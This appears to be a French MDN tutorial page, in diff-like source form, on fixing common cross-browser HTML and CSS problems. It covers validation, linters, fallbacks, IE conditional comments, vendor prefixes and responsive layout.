Il s'agit essentiellement de vérifier si votre code HTML et CSS est bien conçu et s'il ne contient aucune erreur de syntaxe.

+ +
+

Note : Un problème fréquent avec le HTML et le CSS arrive quand différentes règles CSS commencent à entrer en conflit avec une autre. Cela peut être particulièrement problématique lorsque vous utilisez un bout de code tierce. Par exemple, vous pouvez utiliser un modèle CSS et remarquer qu'un des noms de classe qui est utilisé entre en conflit avec un que vous utilisez déjà dans un but différent. Ou vous pouvez trouver que du HTML généré par une API tierce (générateur de bannières publicitaires, par exemple) inclut un nom de classe ou d'ID que vous utilisez déjà dans un but différent. Afin de garantir que cela ne se produira pas, vous devez rechercher les outils que vous allez utiliser en premier et construire votre code en conséquence. Il convient également de relever les "espace de noms" en CSS, par ex. si vous avez un widget, assurez-vous qu'il a des classes distinctes, et ensuite commencez les sélecteurs qui sélectionnent les éléments à l'intérieur du widget avec cette classe, les conflits risqueront moins d'arriver. Par exemple .audio-player ul a.

+
+ +

La validation

+ +

Pour le HTML, la validation implique de s'assurer que toutes vos balises sont correctement fermées et imbriquées, que vous utilisez un DOCTYPE, et que vous utilisez les balises à leur fin prévue. Une bonne stratégie est de valider régulièrement votre code. On service qui peut le faire est le W3C Markup Validation Service, qui vous permet de montrer votre code, et retourne une liste d'erreurs :

+ +

The HTML validator homepage

+ +

Le CSS a une histoire semblable — vous devez vérifier que vos noms de propriétés sont correctement épelés, ques les valeurs des propriétés sont correctement épelées et qu'elles sont valides pour les propriétés auxquelles elles s'appliquent, que vous n'oubliez aucune accolades ouvrantes et fermantes. Les W3C a un CSS Validator également disponible à cet effet.

+ +

Les linters

+ +

Une autre bonne option à envisager est ce qu'on appelle les applications Linter, qui ne font pas que souligner les erreurs, mais peuvent aussi mettre en évidence des avertissements à propos des mauvaises pratiques dans votre CSS, et encore d'autres points. Les linters peuvent pour la plupart être configurés pour être plus strictes ou plus coulants dans leur rapport d'erreur/avertissement.

+ +

Il y a beaucoup d'applications linter en ligne, les meilleures d'entre elles sont probablement Dirty Markup (HTML, CSS, JavaScript), et CSS Lint (seulement CSS). Elles vous permettent de coller votre code dans une fenêtre, et mettront en évidence toutes les erreurs avec des croix, qui peuvent être survolées pour obtenir un message d'erreur décrivant le problème. Dirty Markup vous permet également de faire des fixs dans votre code en utilisant le bouton Clean.

+ +

+ +

Néanmoins, ce n'est pas très pratique de devoir copier et coller votre code dans une page web pour vérifier sa validité plusieurs fois. Ce dont vous avez vraiment besoin c'est d'un linter qui s'installera dans votre espace de travail standard avec le minimum de prise de tête.

+ + + +

La plupart des éditeurs de code ont leur plugins linter. Par exemple, l'éditeur de code Atom de Github possède un riche écosystème de plugins disponibles, avec beaucoup d'options de linting. Voici un exemple pour vous montrer comment un plugin marche généralement :

+ +
    +
  1. Installer Atom (si vous n'avez pas déjà une version à jour installée) — télécharger-le depuis la page Atom indiquée plus haut.
    2. +
  2. Aller dans la boîte de dialogue Préférences... d'Atom (par ex. en sélectionnant Atom > Préférences... sur Mac, ou Fichier > Préférences... sur Windows/Linux) et choisissez l'option Installer dans le menu gauche.
    3. +
  3. Dans le champs texte Rechercher des packages, taper "lint" et presser Entrer/Envoyer pour rechercher des packages liés au linting.
    4. +
  4. Vous devriez voir un package appelé lint dans le haut de la liste. Installez celui-ci en premier (en utilisant le bouton Installer), comme les autres linters lui font appel pour fonctionner. Ensuite, installer le plugin linter-csslint pour le linting CSS, et le plugin linter-tidy pour le linting HTML.
    5. +
  5. Une fois que les packages ont fini de s'installer, essayer de charger un fichier HTML et un fichier CSS : vous verrez plusieurs zones soulignées en vert (pour les avertissements) et des cercles rouges (pour les erreurs) à côté des numéros de ligne, et un panneau séparé en bas qui affiche les numéros de ligne, les messages d'erreur, et parfois qui vous suggère des valeur par défaut ou d'autres solutions.
    6. +
+ + + +

+ +

D'autres éditeurs populaires ont des packages de linting similaires. Voir, par exemple :

+ + + +

Les outils de développement des navigateurs

+ +

Les outils de développement inclus dans la plupart des navigateurs fournissent également des outils pour traquer les erreurs, en particulier pour le CSS.

+ +
+

Note : Les erreurs HTML n'ont pas tendance à se montrer facilement avec les outils de dev, étant donné que le navigateur va essayer de corriger en fermant automatiquement mal les balises ; le validateur W3C est la meilleure façon d'obtenir des erreurs HTML — voir {{anch("Validation")}} plus haut.

+
+ +

As an example, in Firefox the CSS inspector will show CSS declarations that aren't applied crossed out, with a warning triangle. Hovering the warning triangle will provide a descriptive error message:

+ +

+ +

Les outils de dev des autres navigateurs ont des fonctionnalités semblables.

+ +

Problèmes fréquents en navigateur croisé

+ +

Attaquons-nous maintenant à certains des problèmes HTML et CSS les plus courants en navigateur croisé. Les sujets principaux que nous allons aborder sont l'absence de support pour les fonctionnalités modernes, et les problèmes de mise en page.

+ +

Les vieux navigateurs ne supportant pas les fonctionnalités récentes

+ +

C'est un problème courant, particulièrement lorsque vous devez supporter de vieux navigateurs (comme les anciennes versions d'IE) ou que vous utilisez des fonctionnalités qui sont implémentées en utilisant des préfixes CSS. En général, les fonctionnalités principales du HTML et du CSS (comme les éléments HTML basiques, les couleurs et styles de texte principaux de CSS) marchent sur la plupart des navigateurs que vous voulez supporter ; la majorité des problèmes sont découverts lorsque que vous commencez à vouloir utiliser des nouveautés comme Flexbox, ou HTML5 video/audio, ou encore plus récent, CSS Grids ou -webkit-background-clip: text.

+ +

Une fois que vous avez identifié une liste des potentielles technologies à problèmes que vous allez utiliser, c'est une bonne initiative des rechercher sur quels navigateurs elles sont supportées, et quelles techniques associées sont utiles. Voir {{anch("Finding help")}} plus bas.

+ +

Comportement naturel du HTML

+ +

Certains problèmes peuvent être résolus, seulement en tirant parti des réactions naturelles du HTML/CSS.

+ +

Les éléments HTML non reconnus sont traités par les navigateurs comme des éléments inline anonymes (véritablement des éléments inline avec aucune valeur sémantiques, similaires aux éléments {{htmlelement("span")}} ). Vous pouvez toujours vous référez à eux avec leurs noms, et les styler avec du CSS, par exemple — vous avez juste besoin de vous assurer qu'ils se comportent comme vous le voulez, par exemple configurer display: block; sur tous les nouveaux éléments sémantiques (comme {{htmlelement("article")}}, {{htmlelement("aside")}}, etc.), mais seulement sur les vieilles versions d'IE qui ne les reconnaissent pas (donc, IE 8 et plus faible). De cette façon les nouveaux navigateurs peuvent juste utiliser le code normalement, mais les anciennes versions d'IE seront également capables de styler ces éléments.

+ +
+

Note : Voir {{anch("IE conditional comments")}} pour une application efficace.

+
+ + + +

Des éléments HTML plus complexes comme <video>, <audio>, et <canvas> (et encore d'autres) ont des mécanismes naturels pour que les recours soient ajoutés, qui se basent sur le même principe décrit plus haut. Vous pouvez ajouter un contenu de repli entre la balise ouvrante et fermante, et les navigateurs ne supportant pas la feature vont effectivement ignorer les éléments extérieurs et exécuter le contenu imbriqué.

+ +

Par exemple :

+ +
<video id="video" controls preload="metadata" poster="img/poster.jpg">
+  <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4">
+  <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm">
+  <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg">
+  <!-- Flash fallback -->
+  <object type="application/x-shockwave-flash" data="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576">
+     <param name="movie" value="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" />
+     <param name="allowfullscreen" value="true" />
+     <param name="wmode" value="transparent" />
+     <param name="flashvars" value="controlbar=over&amp;image=img/poster.jpg&amp;file=flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" />
+      <img alt="Tears of Steel poster image" src="img/poster.jpg" width="1024" height="428" title="No video playback possible, please download the video from the link below" />
+  </object>
+  <!-- Offer download -->
+  <a href="video/tears-of-steel-battle-clip-medium.mp4">Download MP4</a>
+</video>
+ +

Cette exemple (issu de Creating a cross-browser video player) n'inclut pas seulement un lecteur Flash de repli pour les anciennes versions d'IE, mais aussi un lien simple vous permettant de télécharger la vidéo si jamais le lecteur Flash ne fonctionne pas, finalement l'utilisateur peut toujours accéder à la vidéo.

+ +
+

Note : les librairies tierces comme Video.js et JW Player utilisent ce type de mécanismes de recours pour fournir un support en navigateur croisé.

+
+ +

Les éléments des formulaire HTML5 présentent également des recours de qualités — HTML5 a introduit des types d'<input> spéciaux pour insérer des informations spécifiques dans les formulaires, en particulier sur les plateformes mobiles, où fournir une insertion de données sans difficultés est primordiale pour l'expérience utilisateur. Supporter les plateformes apporte des widgets UI spéciaux lorsque ces types d'input sont utilisés, comme le widget calendrier pour entrer des dates.

+ +

L'exemple suivant montre des inputs date et time :

+ +
<form>
+  <div>
+    <label for="date">Enter a date:</label>
+    <input id="date" type="date">
+  </div>
+  <div>
+    <label for="time">Enter a time:</label>
+    <input id="time" type="time">
+  </div>
+</form>
+ +

Le résultat de ce code est le suivant :

+ + + +

{{ EmbedLiveSample('Hidden_example', '100%', 150) }}

+ +
+

Note : Vous pouvez également le voir exécuté en direct depuis forms-test.html sur GitHub (voir aussi le code source).

+
+ +

Si vous consultez l'exemple sur un navigateur qui supporte les technologies récentes comme Android Chrome ou iOS Safari, vous verrez le widget/fonctionnalité spécial en action quand vous essaierai de saisir des données. Sur des plateformes non compatibles comme Firefox ou Internet Explorer, les inputs vont juste recourir à un input texte normal, finalement l'utilisateur peut toujours entrer des informations.

+ +

Note : Bien entendu, cela n'est pas une solution viable pour les besoins de votre projet — la différence dans une présentation visuelle n'est pas désirée, de plus c'est compliqué de garantir que la donnée qui a été inscrite est dans le format que vous voulez qu'elle soit. Pour les formulaires en navigateur croisé, il est préférable de se référer aux simples éléments de formulaire, ou utiliser les éléments avancés de formulaire de manière sélective uniquement sur les navigateurs qui les supportent, ou utiliser une librairie qui fournit des widget décents en navigateur croisé, comme jQuery UI ou Bootstrap datepicker.

+ +

Comportement naturel du CSS

+ + + +

Le CSS est sans doute meilleur en solution de recours que le HTML. Si un navigateur rencontre une déclaration ou une règle qu'il ne comprend pas, il la passe complètement sans l'appliquer ou provoquer une erreur. Cela peut être frustrant pour vous et vos utilisateurs si de telles erreurs se glissent à travers le code en production, mais au moins cela veut dire que l'ensemble du site ne va pas crasher à cause d'une erreur, et si utilisé intelligemment vous pouvez vous en servir à votre avantage.

+ +

Observons un exemple — une simple boîte stylée avec du CSS, qui a certains styles apportés par différentes caractéristiques CSS3 :

+ +

+ +
+

Note : Vous pouvez également voir cet exemple exécuté en direct sur GitHub comme button-with-fallback.html (voir aussi le code source).

+
+ +

Le bouton a un nombre de déclarations qui le style, mais les deux qui nous intéressent le plus sont les suivantes :

+ +
button {
+  ...
+
+  background-color: #ff0000;
+  background-color: rgba(255,0,0,1);
+  box-shadow: inset 1px 1px 3px rgba(255,255,255,0.4),
+              inset -1px -1px 3px rgba(0,0,0,0.4);
+}
+
+button:hover {
+  background-color: rgba(255,0,0,0.5);
+}
+
+button:active {
+  box-shadow: inset 1px 1px 3px rgba(0,0,0,0.4),
+              inset -1px -1px 3px rgba(255,255,255,0.4);
+}
+ +

Ici on fournit un {{cssxref("background-color")}} RGBA qui modifie l'opacité au survol afin de donner à l'utilisateur l'information que le bouton est interactif, et une ombre {{cssxref("box-shadow")}} interne semi-transparente pour donner au bouton un peu de texture et de profondeur. Le problème est que les couleurs RGBA et les box shadows ne fonctionnent pas sur les versions d'IE plus vieilles que la 9 — dans les versions plus anciennes le background ne sera juste pas visible du tout et le texte sera illisible, pas bon du tout !

+ +

+ +

Pour résoudre ce problème, nous avons ajouté une deuxième déclaration background-color, qui précise juste une couleur hex — c'est un recours supporté par les vieux navigateurs, et agit en tant que solution de repli si les fonctionnalités belles et brillantes ne fonctionnent pas. Ce qui se passe c'est que le navigateur parcourant cette page applique pour commencer la première valeur background-color ; lorsqu'il sélectionne la deuxième déclaration background-color, il remplace la valeur initiale avec cette valeur s'il supporte les couleurs RGBA. S'il ne supporte pas, il ignorera juste toute la déclaration et continuera à avancer.

+ +
+

Note : Il se produit la même chose pour les autres caractéristiques de CSS comme les blocs media queries, @font-face et @supports — s'ils ne sont pas supportés, le navigateur va juste les ignorer.

+
+ +

Les commentaires conditionnels d'IE

+ +

Les commentaires conditionnels d'IE sont une propriété modifiée de la syntaxe des commentaires HTML, qui peuvent être utilisés pour appliquer du code HTML de manière sélective à différentes versions d'IE. Cela s'est avéré être un mécanisme très efficace pour résoudre les bugs en navigateur croisé. La syntaxe ressemble à ça :

+ +
<!--[if lte IE 8]>
+  <script src="ie-fix.js"></script>
+  <link href="ie-fix.css" rel="stylesheet" type="text/css">
+<![endif]-->
+ +

Ce block appliquera les CSS et Javascript spécifiques à IE uniquement si le navigateur qui affiche la page est IE 8 ou plus vieux. lte veux dire "moins que ou égal", mais vous pouvez aussi utiliser lt, gt, gte, ! pour NOT, et d'autre syntaxe logique.

+ +
+

Note : L'article Internet Explorer Conditional Comments de Sitepoint apporte un tutoriel/référence utile pour les débutants qui explique la syntaxe des commentaires conditionnels en détail.

+
+ +

Comme vous pouvez le voir, c'est particulièrement utile pour appliquer des fixes aux vieilles versions d'IE. Le cas d'usage que nous avons mentionné plus tôt (rendre les éléments sémantiques modernes stylables sur les vieilles versions d'IE) peut être atteint facilement en utilisant des commentaires conditionnels, par exemple vous pouvez mettre quelque chose comme ça dans votre feuille de style IE :

+ +
aside, main, article, section, nav, figure, figcaption {
+  display: block;
+}
+ +

Ce n'est cependant pas aussi simple — vous devez également créer une copie de chacun des éléments que vous voulez styler dans le DOM via Javascript, pour les rendre stylable ; c'est un peu bizarre, et nous ne vous ennuierons pas avec les détails ici. Par exemple :

+ +
var asideElem = document.createElement('aside');
+ ...
+ +

Cela paraît assez compliqué à gérer, mais heureusement il y a un {{glossary("polyfill")}} disponible qui fait les fixs nécessaires pour vous, et plus encore — voir HTML5Shiv pour tous les détails (voir manual installation pour les usages les plus simples).

+ +

Support de sélecteur

+ +

Naturellement, aucune caractéristiques CSS ne s'appliquera si vous n'utilisez pas les bons sélecteurs pour sélectionner l'élément que vous voulez styler ! Si vous écrivez juste mal un sélecteur alors le style ne sera juste pas celui attendu sur aucun navigateur, vous devez juste résoudre le problème et trouver ce qui ne va pas avec votre sélecteur. Nous trouvons utile d'inspecter l'élément que vous essayez de styler en utilisant l'outil de dev de votre navigateur, ensuite regarder l'arborescence du fil d'Ariane du DOM que les inspecteurs du DOM fournissent en général afin de voir si votre sélecteur est pertinent par rapport à ce fil d'Ariane.

+ +

Par exemple, dans l'outil de dev de Firefox, vous obtenez ce genre rendement en bas de l'inspecteur du DOM :

+ +

+ +

Si pour cet exemple vous essayez d'utiliser ce sélecteur, vous vous rendrez compte qu'il ne sélectionnera pas l'élément input comme désiré :

+ +
form > #date
+ +

(L'input date du formulaire n'est pas directement dans le <form> ; vous feriez mieux d'utiliser un sélecteur descendant général plutôt qu'un sélecteur d'enfant).

+ +

Il y a néanmoins un autre problème qui apparaît sur les versions d'IE plus anciennes que la 9 c'est qu'il n'y a aucun nouveau sélecteur (principalement les pseudo-classes et les pseudo-éléments comme :nth-of-type, :not, ::selection, etc.) qui marche. Si vous voulez les utiliser dans votre CSS et que vous devez supporter les anciennes versions d'IE, une bonne initiative et d'utiliser la librairie Selectivizr de Keith Clark — c'est une petite librairie Javascript qui s'exécute au-dessus d'une librairie Javascript existante comme  jQuery ou MooTools.

+ +
    +
  1. Afin de tester cet exemple, faites une copie locale de selectivizr-example-start.html. Si vous le regarder s'exécuter en direct, vous verrez qu'il contient deux paragraphes, dont l'un est stylé. Nous avons sélectionné le paragraphe avec p:first-child, qui ne fonctionne pas sur les anciennes versions d'IE.
    2. +
  2. Maintenant télécharger MooTools et Selectivizr, et placez-les dans le même répertoire que votre fichier HTML.
    3. +
  3. Placer le code suivant dans la têtière de votre document HTML, juste avant la balise ouvrante <style> : + 
    <script type="text/javascript" src="MooTools-Core-1.6.0.js"></script>
+    <!--[if (gte IE 6)&(lte IE 8)]>
+      <script type="text/javascript" src="selectivizr-min.js"></script>
+    <![endif]-->
    +
    4. +
+ +

Si vous essayer d'exécuter cette page sur une vieille version d'IE, cela devrait bien fonctionner.

+ +

+ +

Gestion des préfixes CSS

+ +

Une autre source de problèmes arrive avec les préfixes CSS — ceux sont des mécanismes utilisés à la base pour permettre au navigateur d'implémenter leur propre version d'une fonctionnalité CSS (ou Javascript) tant que la technologie est en stade expérimentale, donc ils peuvent jouer avec et la finaliser sans entrer en conflit avec les implémentations des autres navigateurs, ou la dernière implémentation non-préfixée. Voici par exemple :

+ +
    +
  • Mozilla utilise -moz-
    • +
  • Chrome/Opera/Safari utilise -webkit-
    • +
  • Microsoft utilise -ms-
    • +
+ +

Voici quelques exemples :

+ +
-webkit-transform: rotate(90deg);
+
+background-image: -moz-linear-gradient(left,green,yellow);
+background-image: -webkit-gradient(linear,left center,right center,from(green),to(yellow));
+background-image: linear-gradient(to right,green,yellow);
+
+ +

La première ligne déclare une propriété {{cssxref("transform")}} avec un préfixe -webkit- — c'était nécessaire pour que la transformation fonctionne sur Chrome, etc jusqu'à ce que la fonctionnalité soit finalisée et beaucoup de navigateurs ont ajouté une version de la propriété sans préfixes (au moment de la rédaction, Chrome supportait les deux versions).

+ +

Les trois dernières images montrent trois versions différentes de la fonction linear-gradient(), qui est utilisée pour générer un dégradé linéaire dans la background d'un élément :

+ +
    +
  1. La première a un préfixe -moz-, et montre une version plutôt ancienne de la syntaxe (Firefox)
    2. +
  2. La seconde a un préfixe -webkit-, et montre encore une vieille version de la syntaxe de la propriété (également issue d'une vraiment vieille version du moteur Wekkit)
    3. +
  3. La troisième n'a pas de préfixe, et montre la version finale de la syntaxe (inclue dans  CSS Image Values and Replaced Content Module Level 3 spec, qui définit cette fonctionnalité).
    4. +
+ +

Les fonctionnalités préfixées sont supposées ne jamais être utilisées dans des sites web en production — elles sont susceptibles de changer ou d'être supprimées sans avertissement, et causent des problèmes en navigateur croisé. C'est particulièrement un problème lorsque les développeurs décident de n'utiliser que la version -webkit- d'une propriété — ce qui veut dire que le site ne fonctionnera pas sur d'autres navigateurs. En fait, cela arrive tellement souvent que d'autres navigateurs ont commencé à implémenter les versions préfixées -webkit- de plusieurs propriétés CSS, ils marcheront donc avec un tel code. L'utilisation des préfixes fournit par chaque navigateur a récemment déclinée précisément à cause de ce type de problèmes, mais il en reste encore certain qui demandent de l'attention.

+ +

Si vous persistez a utiliser des fonctionnalités préfixées, assurez-vous d'utiliser les bonnes. Vous pouvez vérifier quels navigateurs ont besoin de préfixes sur les pages de référence MDN, et des sites comme caniuse.com. Si vous doutez, vous pouvez aussi vérifier en faisant des tests directement sur les navigateurs.

+ +

Essayez cet exemple simple :

+ +
    +
  1. Ouvrez google.com, ou un autre site qui a un en-tête proéminent ou un niveau de bloc d'élément.
    2. +
  2. Clic droit sur l'élément en question et choisir Inspecter/Inspecter l'élément (ou qu'importe l'option de votre navigateur) — cela devrait ouvrir les outils de dev dans votre navigateur, avec l'élément mis en valeur dans l'inspecteur du DOM.
    3. +
  3. Chercher une fonctionnalité que vous pouvez utiliser pour sélectionner cet élément. Par exemple, au moment de la rédaction, le logo principal de Google a un ID hplogo.
    4. +
  4. Entreposer une référence à cet élément dans une variable, par exemple : + 
    var test = document.getElementById('hplogo');
    +
    5. +
  5. Maintenant essayez d'appliquer une nouvelle valeur pour la propriété CSS qui vous intéresse sur cet élément ; vous pouvez le faire en utilisant la propriété style de l'élément, par exemple essayez de taper ça dans votre console Javascript :
    6. +
  6. + 
    test.style.transform = 'rotate(90deg)'
+test.style.webkitTransform = 'rotate(90deg)'
    +
    7. +
+ +

Quand vous commencez à taper la transcription du nom de la propriété après le deuxième point (notez qu'en Javascript, les noms des propriétés CSS sont écrites en lower camel case, sans trait d'union), la console Javascript devrait commencer à saisir automatiquement les noms des propriétés qui existent dans le navigateur et qui correspondent au mieux avec ce que vous écrivez. C'est utile pour trouver quelles versions de la propriété est implémentée dans ce navigateur.

+ +

A l'heure où ces lignes sont écrites, Firefox et Chrome ont implémenté tous les deux les versions préfixées -webkit- et non préfixées de {{cssxref("transform")}} !

+ +

Une fois que vous avez trouvé quels préfixes vous avez besoin de supporter, vous devriez tous les inscrire dans votre CSS, par exemple :

+ +
-ms-transform: rotate(90deg);
+-webkit-transform: rotate(90deg);
+transform: rotate(90deg);
+ +

Cela vous assurera que tous les navigateurs qui supportent n'importe laquelle des formes de la propriété ci-dessus pourront faire marcher la fonctionnalité. Il convient de placer la version non préfixée en dernier, parce qu'elle sera la version la plus récente, que vous voulez que les navigateurs utilisent si c'est possible. Si par exemple un navigateur implémente la version -webkit- et la version non préfixée, il va en premier temps appliquer la version -webkit-, puis la remplacer par la version non préfixée. Vous voulez que cela se produise dans ce sens, et non dans l'autre.

+ +

Bien entendu, appliquer cela à de nombreuses différentes règles CSS peut devenir très fastidieux. Il est préférable d'utiliser des outils d'automatisation qui le font pour vous. Et de tels outils existent :

+ +

La prefix-free JavaScript library peut être jointe à une page, et détectera automatiquement quels sont les aptitudes détenues par navigateurs en analysant la page et en ajoutant les préfixes appropriés. C'est très facile et pratique à utiliser, bien qu'il ait quelques inconvénients (voir le lien au-dessus pour plus de détails), et on peut discuter du fait qu'analyser chaque feuille de style de votre site et ajouter des préfixes lors de l'exécution peut être un fardeau pour la puissance de traitement de l'ordinateur pour un grand site.

+ +

Une autre solution est d'ajouter automatiquement les préfixes pendant le développement, et cela (et d'autres choses à venir) peut être fait en utilisant des outils comme Autoprefixer et PostCSS. Ces outils peuvent être utilisés de diverses manières, par exemple Autoprefixer a une version en ligne qui vous permet d'entrer votre CSS non préfixé sur la gauche, et vous donne une version avec préfixes ajoutés sur la droite. Vous pouvez sélectionner quels navigateurs vous voulez afin de vous assurer de bien supporter en utilisant la notation définie dans Autoprefixer options ; pour plus de détails, voir aussi Browserslist queries, qui est basé dessus. Comme exemple, la requête suivante sélectionnera les deux dernières versions de tous le navigateurs principaux et les versions d'IE  supérieure à la 9.

+ +
last 2 versions, ie > 9
+ + + +

Autoprefixer peut aussi être utilisé dans d'autres cas, plus pratiques — voir Autoprefixer usage. Par exemple vous pouvez l'utiliser avec un exécuteur de tâche/outil de build comme Gulp ou Webpack pour ajouter automatiquement les préfixes une fois que le développement a été fait. (Expliquer comment cela fonctionne est plutôt au-delà de la portée de cet article).

+ +

Vous pouvez également utiliser un plugin pour éditeur de texte comme Atom ou Sublime text. Par exemple, dans Atom :

+ +
    +
  1. Vous pouvez l'installer en allant dans Préférences > Installer, chercher Autoprefixer, puis cliquer sur installer.
    2. +
  2. Vous pouvez configurer une requête navigateur en appuyant sur le bouton Settings d'Autoprefixer et entrer la requête dans le champs texte de la section Setting de la page.
    3. +
  3. Dans votre code, vous pouvez sélectionner des sections de CSS auxquelles vous voulez ajouter des préfixes, ouvrez la palette de commande (Cmd/Ctrl + Shift + P), puis tapez Autoprefixer dedans et sélectionnez le résultat Autoprefixer qui auto complète.
    4. +
+ +

En tant qu'exemple, nous avons entré le code suivant :

+ +
body {
+  display: flex;
+}
+ +

Nous l'avons sélectionné et exécuté la commande Autoprefixer, et il l'a remplacé par ça :

+ +
body {
+  display: -webkit-box;
+  display: -ms-flexbox;
+  display: flex;
+}
+ +

Les problèmes de mise en page

+ +

Un autre problème qui peut survenir est la différence de mise en page entre les navigateurs. Historiquement c'était traité comme bien plus qu'un problème, mais ces derniers temps, avec les navigateurs modernes qui ont tendance à supporter le CSS plus systématiquement, les problèmes de mise en page ont plus tendance à être couramment associés avec :

+ +
    +
  • Le manque (ou différences dans) de support pour les dispositions modernes.
    • +
  • Les dispositions qui ne paraissent pas bonnes sur les navigateurs mobiles (par ex. les problèmes en responsive design).
    • +
+ +
+

Note : Historiquement les développeurs web étaient habitués à utiliser des fichiers CSS appelés resets, qui supprimaient tous les styles par défaut des navigateurs qui s'appliquaient au HTML, et ensuite appliquaient leurs propres styles pour tout le reste — c'était fait pour rendre le style sur un projet plus cohérent, et réduire les possibles problèmes en navigateur croisé, spécialement pour les choses issues de la mise en page. Toutefois, cela a récemment été défini comme exagéré. Le meilleur équivalent que nous avons de nos jours c'est le normalize.css, un peu de CSS propre qui style discrètement par-dessus le style par défaut des navigateurs afin de rendre les éléments plus cohérents et fixe quelques problèmes de disposition. Nous vous recommandons d'appliquer normalize.css sur toutes vos pages HTML.

+
+ +
+

Note :  Lorsque vous essayer de localiser un problème de disposition difficile, une bonne technique et d'ajouter une couleur éclatante {{cssxref("outline")}} sur l'élément dérangeant, ou sur tous les éléments à côté. Cela facilite la tâche pour voir où tous les éléments sont placés. Voir Debug your CSS with outline visualizations pour plus de détails...

+
+ +

Support pour les nouvelles caractéristiques de disposition

+ +

La plupart du travail de mise en page sur le web aujourd'hui et réalisé en utilisant les floats — c'est parce que les floats sont bien supportés (depuis IE 4, bien qu'il y ait un certain nombre de bugs qui auront besoin d'être examinés si vous essayez de supporter IE aussi loin). Il n'y a néanmoins pas de véritables explications sur la mise en page — utiliser les floats comme nous les utilisons est un vrai hack — et ils ont de sérieuses limites (par ex. voir Why Flexbox?)

+ +

Plus récemment, des mécanismes dédiés à la disposition ont fait leur apparition, comme Flexbox et CSS Grids, qui rendent les tâches ordinaires de disposition bien plus simples et enlèvent les défauts. Ils ne sont cependant pas bien supportés dans les navigateurs :

+ +
    +
  • Les grilles CSS sont très récentes ; au moment de la rédaction, elles n'étaient supportées que par les toutes nouvelles versions des navigateurs modernes.
    • +
  • Flexbox est bien supportée dans les navigateurs modernes, mais amène des problèmes dans les vieux navigateurs. IE9 ne le supporte pas du tout, et IE 10 et les vieilles versions d'iOS/desktop Safari supportent respectivement des vieilles versions incompatibles des spécifications de flexbox. Ceci amène à s'intéresser au jonglage des préfixes de navigateur si vous voulez essayer d'utiliser flexbox sur tous ces navigateurs (voir Advanced Cross-Browser Flexbox pour vous faire une idée).
    • +
+ +

Les fonctionnalités de disposition ne sont pas aussi simples pour fournir des solutions de repli que de simples couleurs, ombres ou dégradés. Si les propriétés de disposition sont ignorées, la totalité de votre design sera réduit en pièces. De ce fait, vous devez utiliser une fonctionnalité de détection pour détecter si les navigateurs qui consultent votre site supportent ces caractéristiques de disposition, et appliquer différentes dispositions de manière sélective selon le résultat (nous couvrirons les fonctionnalités de détection dans un article à venir).

+ +

Par exemple, vous pourriez appliquer une disposition flexbox sur les navigateurs modernes, et aussi appliquer une disposition en float pour les plus vieux navigateurs qui ne supportent pas flexbox.

+ +
+

Note : Il y a une fonctionnalité assez récente en CSS appelé @supports, qui vous permet d'implémenter des tests de détection de fonctionnalités natives.

+
+ +

Les problèmes de responsive design

+ +

Le design responsive est la pratique de créer des dispositions web qui s'adaptent en fonction des facteurs de formes de l'appareil — par exemple différentes tailles d'écran, l'orientation (portait ou paysage), ou la résolution. Une disposition pour ordinateur de bureau par exemple paraîtra atroce lorsqu'elle sera affichée sur un appareil mobile, vous allez donc devoir fournir une disposition appropriée aux mobiles en utilisant les media queries, et assurez-vous qu'il est appliqué correctement en utilisant viewport. Vous pouvez trouver un bilan précis de telles pratiques dans The building blocks of responsive design.

+ +

La résolution est également très préoccupante — par exemple, les appareils mobiles sont moins susceptibles d'avoir besoin de grosses images lourdes que des ordinateurs de bureau, et ont davantage tendance à avoir des connexions internet plus lentes et sans doute un échange de données coûteux qui gaspille la bande passante qui est un problème supplémentaire. De plus, certains appareils peuvent avoir une gamme de plusieurs résolutions, ce qui veut dire que des petites images peuvent s'afficher pixelisées. Il y a un nombre de techniques qui vous permette de travailler autour de tels problèmes, des simples mobile first media queries, aux plus complexes responsive image techniques.

+ +

Une autre difficulté qui peut présenter des problèmes c'est le support des fonctionnalités par les navigateurs qui rendent les techniques suscitées possibles. Les media queries ne sont pas supportés sur IE 8 ou plus vieux, donc si vous voulez utiliser une disposition mobile en premier lieu puis une disposition pour ordinateur de bureau qui applique aux vieilles versions d'IE, vous devrez appliquer un media querie {{glossary("polyfill")}} à votre page, comme css3-mediaqueries-js ou Respond.js.

+ +

Trouver de l'aide

+ +

Il y bien d'autres problèmes que vous allez rencontrer avec le HTML et le CSS ; la chose la plus important à vraiment savoir est de comment trouver des solutions en ligne.

+ +

Parmi les meilleures sources d'information de support il y a Mozilla Developer Network (c'est où vous vous trouvez actuellement !), stackoverflow.com et caniuse.com.

+ +

Pour utiliser le Mozilla Developer Network (MDN), la plupart des gens font une recherche de la technologie sur laquelle ils essayent de trouver des informations, et ajoutent le terme "mdn", par exemple "mdn HTML5 video". MDN contient plusieurs types de contenus utiles :

+ + + +

caniuse.com fournit des informations de support, tout au long avec des ressources externes. Par exemple, voir http://caniuse.com/#search=video (vous avez juste à entrer la fonctionnalité que vous recherchez dans la boîte de recherche)

+ +

stackoverflow.com (SO) est un forum en ligne où vous pouvez poser des questions et avez un ensemble de développeurs partageant leurs solutions, observez les commentaires passés, et aidez les autres développeurs. Nous vous conseillons de chercher et de regarder s'il existe déjà une réponse à votre question, avant de poster une nouvelle question. Par exemple, nous avons cherché pour "cross browser html5 video" sur SO, et très rapidement la solution HTML5 Video with full cross browser compatibility est remontée.

+ +

Par ailleurs, essayez de chercher votre moteur de recherche favori pour trouver une réponse à vos problèmes. C'est souvent utile de chercher les messages d'erreur spécifiques si vous en avez — d'autres développeurs seront susceptibles d'avoir les mêmes problèmes que vous

+ +

Résumé

+ +

Vous devriez maintenant être familier avec les problèmes principaux en navigateur croisé avec HTML et CSS que vous rencontrerez en développement web, et comment faire pour les résoudre.

+ +

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}

+ + + +

Dans ce module

